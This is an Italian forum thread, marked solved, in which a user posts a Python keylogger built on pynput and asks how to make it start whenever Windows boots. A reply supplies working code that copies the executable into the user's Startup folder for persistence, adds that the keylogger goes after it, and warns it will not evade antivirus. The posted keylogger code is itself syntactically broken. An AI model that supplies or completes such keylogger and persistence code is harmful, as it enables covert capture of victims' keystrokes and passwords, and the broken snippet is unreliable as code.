Risolto Eseguire exe pyinstaller all'avvio di Windows

JokerHack22

Utente Silver
1 Agosto 2021
63
30
4
57
Ultima modifica da un moderatore:
Ciao ragazzi, vorrei che mi daste una mano con uno script python. Allora ho creato il mio keylogger e vorrei che ogni volta che il pc viene spento e poi riacceso il keylogger si avviasse in automatico.Grazie mille per le risposte in anticipo!!!!

Python:
From pynput.keyboard import Listener
def keylogger():
    with Listener(on_press=press, on_release=release) as listener:
        listener.join()
def press(key):
    strkey=str(key)
    print(strkey)
 
    with open("file.txt","a") as f:
def release(key):
    pass

keylogger()

def invio_file():
    pass
 
Python non è il mio forte ma una cosa così dovrebbe funzionare:

Python:
import os
import sys
import shutil

# Retrieve pyinstaller single-exe path or script location
# If running in script mode, .py extension must point to the python interpreter
if getattr(sys, 'frozen', False):
    application_path = sys.executable
elif __file__:
    application_path = os.path.abspath(__file__)

startup = os.path.expandvars(r'%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup')
dest = os.path.join(startup, os.path.basename(application_path))
if dest != application_path:
    if os.path.isfile(dest):
        os.remove(dest)
    shutil.copy(application_path, dest)

Dopo questo codice puoi inserire il keylogger, al riavvio del pc partirà in automatico.

PS: non aspettarti di essere invisibile a gli AV con queste tecniche.
 
  • Mi piace
Reazioni: haxo
Python non è il mio forte ma una cosa così dovrebbe funzionare:

Python:
import os
import sys
import shutil

# Retrieve pyinstaller single-exe path or script location
# If running in script mode, .py extension must point to the python interpreter
if getattr(sys, 'frozen', False):
    application_path = sys.executable
elif __file__:
    application_path = os.path.abspath(__file__)

startup = os.path.expandvars(r'%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup')
dest = os.path.join(startup, os.path.basename(application_path))
if dest != application_path:
    if os.path.isfile(dest):
        os.remove(dest)
    shutil.copy(application_path, dest)

Dopo questo codice puoi inserire il keylogger, al riavvio del pc partirà in automatico.

PS: non aspettarti di essere invisibile a gli AV con queste tecniche.
Grazie mille!!